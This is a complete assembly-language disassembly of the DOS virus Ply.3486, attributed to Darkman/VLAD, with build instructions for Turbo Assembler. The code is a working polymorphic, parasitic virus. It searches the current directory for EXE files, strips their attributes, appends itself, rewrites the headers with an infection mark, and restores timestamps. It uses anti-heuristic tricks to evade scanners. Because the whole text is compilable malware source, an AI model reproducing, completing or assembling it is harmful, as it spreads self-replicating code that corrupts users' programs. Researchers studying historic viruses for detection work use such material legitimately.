comment * Ply.3486 Disassembly by Darkman/VLAD Ply.3486 is a 3486 bytes parasitic direct action EXE virus. Infects every file in current directory, when executed, by appending the virus to the infected file. Ply.3486 has anti-heuristic techniques and is polymorphic in file using its internal polymorphic engine. To compile Ply.3486 with Turbo Assembler v 4.0 type: TASM /m PLY_3486.ASM TLINK /t /x PLY_3486.OBJ * .model tiny .code org 100h ; Origin of Ply.3486 code_begin: delta_offset equ $+01h ; Delta offset mov bp,100h ; BP = delta offset poly_begin: mov ax,cs ; AX = code segment nop mov ds,ax ; DS = " " nop mov es,ax ; ES = " " nop mov ax,100h ; AX = offset of beginning of code sub bp,ax ; Subtract offset of beginning of ... nop sti ; Set interrupt-enable flag nop nop cld ; Clear direction flag nop nop lea si,poly_begin ; SI = offset of poly_begin add si,bp ; Add delta offset nop mov cx,(poly_end-poly_begin)/03h poly_loop: in al,40h ; AL = 8-bit random number nop and al,00000111b ; AL = random number between zero ... nop push cx ; Save CX at stack nop nop push si ; Save SI at stack nop nop cmp al,00h ; Prepend a NOP to the opcode? nop jne test_append ; Not equal? Jump to test_append nop mov al,[si] ; AL = first byte of three-bytes b... nop cmp al,90h ; NOP (opcode 90h)? nop je dont_poly ; Equal? Jump to dont_poly nop mov al,[si+02h] ; AL = third byte of three-byte block cmp al,90h ; NOP (opcode 90h) nop jne dont_poly ; Not equal? Jump to dont_poly nop mov ax,[si] ; AX = first word of three-bytes b... nop lea bx,poly_buffer ; BX = offset of poly_buffer add bx,bp ; Add delta offset nop mov [bx+01h],ax ; Store first word of three-bytes ... cmp al,0ebh ; JMP imm8 (opcode 0ebh) nop je dec_imm8 ; Equal? Jump to dec_imm8 nop and al,11110000b nop cmp al,70h ; Jump on condition? nop jne prepend_nop ; Not equal? Jump to prepend_nop nop dec_imm8: dec byte ptr [bx+02h] ; Decrease 8-bit immediate prepend_nop: mov al,90h ; NOP (opcode 90h) nop mov [bx],al ; Prepend a NOP to the opcode nop mov di,si ; DI = offset of current three-byt... nop mov si,bx ; SI = offset of poly_buffer nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop dont_poly: jmp test_loop test_append: cmp al,01h ; Append a NOP to the opcode? nop jne test_create ; Not equal? Jump to test_create nop mov al,[si] ; AL = first byte of three-bytes b... nop cmp al,90h ; NOP (opcode 90h)? nop jne dont_poly_ ; Not equal? Jump to dont_poly_ nop mov ax,[si+01h] ; AX = second word of three-bytes ... lea bx,poly_buffer ; BX = offset of poly_buffer add bx,bp ; Add delta offset nop mov [bx],ax ; Store second word of three-bytes... nop cmp al,0ebh ; JMP imm8 (opcode 0ebh) nop je dec_imm8_ ; Equal? Jump to dec_imm8_ nop and al,11110000b nop cmp al,70h ; Jump on condition? nop jne append_nop ; Not equal? Jump to append_nop nop dec_imm8_: inc byte ptr [bx+01h] ; Decrease 8-bit immediate append_nop: mov al,90h ; NOP (opcode 90h) nop mov [bx+02h],al ; Append a NOP to the opcode mov di,si ; DI = offset of current three-byt... nop mov si,bx ; SI = offset of poly_buffer nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop dont_poly_: jmp test_loop test_create: cmp al,02h ; Create a CALL imm16 to the opcode? nop jne delete_call ; Not equal? Jump to delete_call nop mov ax,[si] ; AX = first word of three-bytes b... nop cmp al,90h ; NOP (opcode 90h)? nop jne create_call ; Not equal? Jump to create_call nop mov al,ah ; AL = second byte of three-bytes ... nop create_call: cmp al,0e9h ; JMP imm16 (opcode 0e9h) nop je call_exit ; Equal? Jump to call_exit nop cmp al,0e8h ; CALL imm16 (opcode 0e8h) nop je call_exit ; Equal? Jump to call_exit nop cmp al,0ebh ; JMP imm8 (opcode 0ebh) nop je call_exit ; Equal? Jump to call_exit nop cmp al,0c3h ; RET (opcode 0c3h) nop je call_exit ; Equal? Jump to call_exit nop and al,11110000b nop cmp al,70h ; Jump on condition? nop je call_exit ; Equal? Jump to call_exit nop cmp al,50h ; PUSH reg16/POP reg16? nop je call_exit ; Equal? Jump to call_exit nop call get_poly_off mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop mov al,0c3h ; RET (opcode 0c3h) nop stosb ; Store RET nop nop in al,40h ; AL = 8-bit random number nop stosb ; Store 8-bit random number nop nop in al,40h ; AL = 8-bit random number nop stosb ; Store 8-bit random number nop nop mov al,0e8h ; CALL imm16 (opcode 0e8h) nop lea bx,poly_buffer ; BX = offset of poly_buffer add bx,bp ; Add delta offset nop mov [bx],al ; Create a CALL imm16 to the opcode nop mov ax,di ; AX = random offset of polymorphi... nop sub ax,si ; Subtract offset of current three... nop sub ax,06h ; Subtract size of six-bytes block mov [bx+01h],ax ; Store 16-bit immediate mov di,si ; SI = offset of current three-byt... nop mov ax,03h ; AX = size of opcode CALL imm16 sub di,ax ; Subtract size of opcode CALL imm... nop mov si,bx ; SI = offset of poly_buffer nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop call_exit: jmp test_loop delete_call: cmp al,03h ; Delete previously created CALL i... nop jne test_create_ ; Not equal? Jump to test_create_ nop mov al,[si] ; AL = first byte of three-bytes b... nop cmp al,0e8h ; CALL imm16 (opcode 0e8h)? nop jne call_exit_ ; Not equal? Jump to call_exit_ nop mov ax,[si+01h] ; AX = 16-bit immediate add ax,03h ; Add size of opcode CALL imm16 mov di,si ; DI = offset of current three-byt... nop add si,ax ; Add 16-bit immediate nop lea bx,poly_blocks ; BX = offset of poly_blocks add bx,bp ; Add delta offset nop cmp si,bx ; 16-bit immediate within polymorp... nop jb call_exit_ ; Below? Jump to call_exit_ nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop mov al,90h ; NOP (opcode 90h) nop mov ah,al ; NOP; NOP (opcode 90h,90h) nop mov [si-03h],ax ; Store NOP; NOP in al,40h ; AL = 8-bit random number nop mov [si-01h],al ; Store 8-bit random number in al,40h ; AL = 8-bit random number nop mov [si],al ; Store 8-bit random number nop call_exit_: jmp test_loop test_create_: cmp al,04h ; Create a JMP imm16 to the opcode? nop jne delete_jmp ; Not equal? Jump to delete_jmp nop mov ax,[si] ; AX = first word of three-bytes b... nop cmp al,90h ; NOP (opcode 90h)? nop jne create_jmp ; Not equal? Jump to create_jmp nop mov al,ah ; AL = second byte of three-bytes ... nop create_jmp: cmp al,0e9h ; JMP imm16 (opcode 0e9h)? nop je jmp_exit ; Equal? Jump to jmp_exit nop cmp al,0e8h ; CALL imm16 (opcode 0e8h) nop je jmp_exit ; Equal? Jump to jmp_exit nop cmp al,0ebh ; JMP imm8 (opcode 0ebh) nop je jmp_exit ; Equal? Jump to jmp_exit nop and al,11110000b nop cmp al,70h ; Jump on condition? nop je jmp_exit ; Equal? Jump to jmp_exit nop call get_poly_off mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop mov al,0e9h ; JMP imm16 (opcode 0e9h) nop stosb ; Store JMP imm16 nop nop mov ax,di ; AX = random offset of polymorphi... nop sub ax,si ; Subtract offset of current three... nop neg ax ; Negate AX nop sub ax,02h ; Subtract two from 16-bit immediate stosw ; Store 16-bit immediate nop nop mov al,0e9h ; JMP imm16 (opcode 0e9h) nop lea bx,poly_buffer ; BX = offset of poly_buffer add bx,bp ; Add delta offset nop mov [bx],al ; Create a JMP imm16 to the opcode nop mov ax,di ; AX = random offset of polymorphi... nop sub ax,si ; Subtract offset of current three... nop sub ax,06h ; Subtract size of six-bytes block mov [bx+01h],ax ; Store 16-bit immediate mov di,si ; SI = offset of current three-byt... nop mov ax,03h ; AX = size of opcode CALL imm16 sub di,ax ; Subtract size of opcode CALL imm... nop mov si,bx ; SI = offset of poly_buffer nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop jmp_exit: jmp test_loop nop delete_jmp: cmp al,05h ; Delete previously created JMP im... nop jne test_loop ; Not equal? Jump to test_loop nop mov al,[si] ; AL = first byte of three-bytes b... nop cmp al,0e9h ; JMP imm16 (opcode 0e9h)? nop jne jmp_exit_ ; Not equal? Jump to jmp_exit_ nop mov ax,[si+01h] ; AX = 16-bit immediate add ax,03h ; Add size of opcode CALL imm16 mov di,si ; DI = offset of current three-byt... nop add si,ax ; Add 16-bit immediate nop lea bx,poly_blocks ; BX = offset of poly_blocks add bx,bp ; Add delta offset nop cmp si,bx ; 16-bit immediate within polymorp... nop jb jmp_exit_ ; Below? Jump to jmp_exit_ nop mov cx,03h ; Move three bytes rep movsb ; Move three-bytes block to offset... nop mov al,90h ; NOP (opcode 90h) nop mov ah,al ; NOP; NOP (opcode 90h,90h) nop mov [si-03h],ax ; Store NOP; NOP in al,40h ; AL = 8-bit random number nop mov [si-01h],al ; Store 8-bit random number in al,40h ; AL = 8-bit random number nop mov [si],al ; Store 8-bit random number nop jmp_exit_: jmp test_loop nop test_loop: pop si ; Load SI from stack nop nop pop cx ; Load CX from stack nop nop mov ax,03h ; AX = size of block add si,ax ; SI = offset of next three-byte b... nop dec cx ; Decrease CX nop nop jz poly_exit ; Zero? Jump to poly_exit nop jmp poly_loop poly_exit: jmp prepare_exit nop get_poly_off proc near ; Get random offset of polymorphic... in al,40h ; AL = 8-bit random number nop mov ah,al ; AH = " " " nop in al,40h ; AL = 8-bit random number nop mov di,ax ; DI = 16-bit random number nop mov ax,(poly_end-poly_begin)/03h get_rnd_num: sub di,ax ; Subtract number of polymorphic b... nop cmp di,ax ; Too large a 16-bit random number? nop jae get_rnd_num ; Above or equal? Jump to get_rnd_num nop mov ax,di ; AX = 16-bit random number within... nop add di,ax ; Add number of polymorphic blocks nop add di,ax ; " " " " " nop add di,ax ; " " " " " nop add di,ax ; " " " " " nop add di,ax ; " " " " " nop lea ax,poly_blocks ; AX = offset of poly_blocks add di,ax ; Add offset of poly_blocks to ran... nop add di,bp ; Add delta offset nop mov al,90h ; NOP (opcode 90h) nop mov ah,al ; NOP; NOP (opcode 90h,90h) nop cmp [di],ax ; Offset already in use? nop jne get_poly_off ; Not equal? Jump to get_poly_off nop ret ; Return! nop nop endp prepare_exit: lea si,file_header ; SI = offset of file_header add si,bp ; Add delta offset nop lea di,instruct_ptr ; SI = offset of instruct_ptr add di,bp ; Add delta offset nop mov ax,[si+14h] ; AX = instruction pointer stosw ; Store instruction pointer nop nop mov ax,[si+16h] ; AX = code segment stosw ; Store code segment nop nop mov ax,[si+0eh] ; AX = stack segment stosw ; Store stack segment nop nop mov ax,[si+10h] ; AX = stack pointer stosw ; Store stack pointer nop nop mov ah,1ah ; Set disk transfer area address nop lea dx,dta ; DX = offset of dta add dx,bp ; Add delta offset nop mov di,dx ; DI = offset of dta nop int 21h nop mov ax,(4e00h+2020h) ; Find first matching file sub ax,2020h mov cx,0000000000000111b lea dx,file_specifi ; DX = offset of file_specifi add dx,bp ; Add delta offset nop mov bx,dx ; BX = offset of file_specifi nop mov al,'E' nop mov [bx+02h],al ; Correct the file specification find_next: int 21h nop jnc open_file ; No error? Jump to open_file nop jmp virus_exit open_file: mov al,'V' nop mov [bx+02h],al ; Correct the file specification mov ax,3d00h ; Open file (read) lea dx,filename ; DX = offset of filename add dx,bp ; Add delta offset nop int 21h nop xchg bx,ax ; BX = file handle nop nop mov ah,3fh ; Read from file nop mov dx,si ; DX = offset of file_header nop mov cx,1ah ; Read twenty-six bytes int 21h nop mov ah,3eh ; Close file nop int 21h nop mov ax,('ZM'+2020h) ; EXE signature sub ax,2020h cmp [si],ax ; Found EXE signature? nop je examine_file ; Equal? Jump to examine_file nop xchg ah,al ; Exchange EXE signature nop cmp [si],ax ; Found EXE signature? nop je examine_file ; Equal? Jump to examine_file nop jmp_find_nxt: mov ax,(4f00h+2020h) ; Find next matching file sub ax,2020h jmp find_next nop examine_file: mov ax,2020h cmp [si+12h],ax ; Already infected? je jmp_find_nxt ; Equal? Jump to jmp_find_nxt nop mov ax,(4301h+2020h) ; Set file attributes sub ax,2020h xor cx,cx ; CX = new file attributes nop lea dx,filename ; DX = offset of filename add dx,bp ; Add delta offset nop int 21h nop mov ax,(3d02h+2020h) ; Open file (read/write) sub ax,2020h lea dx,filename ; DX = offset of filename add dx,bp ; Add delta offset nop int 21h nop xchg bx,ax ; BX = file handle nop nop mov ax,4202h ; Set current file position (EOF) xor cx,cx ; Zero CX nop xor dx,dx ; Zero DX nop int 21h nop mov ax,(4000h+2020h) ; Write to file sub ax,2020h mov cx,(code_end-code_begin) lea dx,code_begin ; DX = offset of code_begin add dx,bp ; Add delta offset nop int 21h nop mov ax,[si+08h] ; AX = header size in paragraphs mov cl,04h ; Multiply by paragraphs nop shl ax,cl ; AX = header size nop push bx ; Save BX at stack nop nop xchg ax,bx ; BX = header size nop nop mov ax,[di+1ah] ; AX = low-order word of filesize mov dx,[di+1ch] ; DX = high-order word of filesize push ax ; Save AX at stack nop nop push dx ; Save DX at stack nop nop sub ax,bx ; Subtract header size from filesize nop sbb dx,00h ; Convert to 32-bit mov cx,10h div cx ; Divide by paragraphs nop mov [si+14h],dx ; Store instruction pointer mov [si+16h],ax ; Store code segment lea bx,delta_offset ; BX = offset of delta_offset add bx,bp ; Add delta offset nop mov [bx],dx ; Store delta offset nop inc ax ; Increase AX nop nop mov [si+0eh],ax ; Store stack segment mov ax,(code_end-code_begin+100h) add dx,ax ; DX = stack pointer nop mov [si+10h],dx ; Store stack pointer mov ax,2020h ; AX = infection mark mov [si+12h],ax ; Store infection mark pop dx ; Load DX from stack nop nop pop ax ; Load AX from stack nop nop add ax,(code_end-code_begin) adc dx,00h ; Convert to 32-bit mov cl,09h nop push ax ; Save AX at stack nop nop shr ax,cl ; Multiply by pages nop ror dx,cl ; " " " nop stc ; Set carry flag nop nop adc dx,ax ; DX = total number of 512-bytes p... nop pop ax ; Load AX from stack nop nop and ah,00000001b mov [si+04h],dx ; Store totalt number of 512-bytes... mov [si+02h],ax ; Number of bytes in last 512-byte... pop bx ; Load BX from stack nop nop mov ax,4201h ; Set current file position (CFP) mov cx,-01h mov dx,-(code_end-delta_offset) int 21h nop mov ax,(4000h+2020h) ; Write to file sub ax,2020h mov cx,02h ; Write two bytes lea dx,delta_offset ; DX = offset of delta_offset add dx,bp ; Add delta offset nop int 21h nop mov ax,4200h ; Set current file position (SOF) xor cx,cx ; Zero CX nop xor dx,dx ; Zero DX nop int 21h nop mov ax,(4000h+2020h) ; Write to file sub ax,2020h mov cx,1ah ; Write twenty-six bytes mov dx,si ; DX = offset of file_header nop int 21h nop mov ax,(5701h-2020h) ; Set file's date and time add ax,2020h mov cx,[di+16h] ; CX = file time mov dx,[di+18h] ; DX = file date int 21h nop mov ah,3eh ; Close file nop int 21h nop mov ax,(4301h+2020h) ; Set file attributes sub ax,2020h mov ch,00h ; Zero CH nop mov cl,[di+15h] ; CL = file attribute lea dx,filename ; DX = offset of filename add dx,bp ; Add delta offset nop int 21h nop mov ah,4fh ; Find next matching file nop jmp find_next virus_exit: mov ah,62h ; Get current PSP address nop int 21h nop mov es,bx ; ES = segment of PSP for current ... nop mov ax,bx ; AX = " " " " " " nop add ax,10h ; AX = segment of beginning of code lea si,instruct_ptr ; SI = offset of instruct_ptr add si,bp ; Add delta offset nop add [si+02h],ax ; Add segment of beginning of code... add ax,[si+04h] ; Add original stack segment to se... cli ; Clear interrupt-enable flag nop nop poly_end: mov sp,[si+06h] ; SP = stack pointer mov ss,ax ; SS = stack segment sti ; Set interrupt-enable flag mov ds,bx ; DS = segment of PSP for current ... db 0eah ; JMP imm32 (opcode 0eah) instruct_ptr dw ? ; Instruction pointer code_seg dw ? ; Code segment stack_seg dw ? ; Stack segment stack_ptr dw ? ; Stack pointer db 00h file_specifi db '*.VXE',00h ; File specification file_header dw 0ah dup(?),00h,0fff0h,? db 00h poly_buffer db 03h dup(?) ; Polymorphic buffer poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?)) code_end: dta: db 15h dup(?) ; Used by DOS for find next-process file_attr db ? ; File attribute file_time dw ? ; File time file_date dw ? ; File date filesize dd ? ; Filesize filename db 0dh dup(?) ; Filename data_end: end code_begin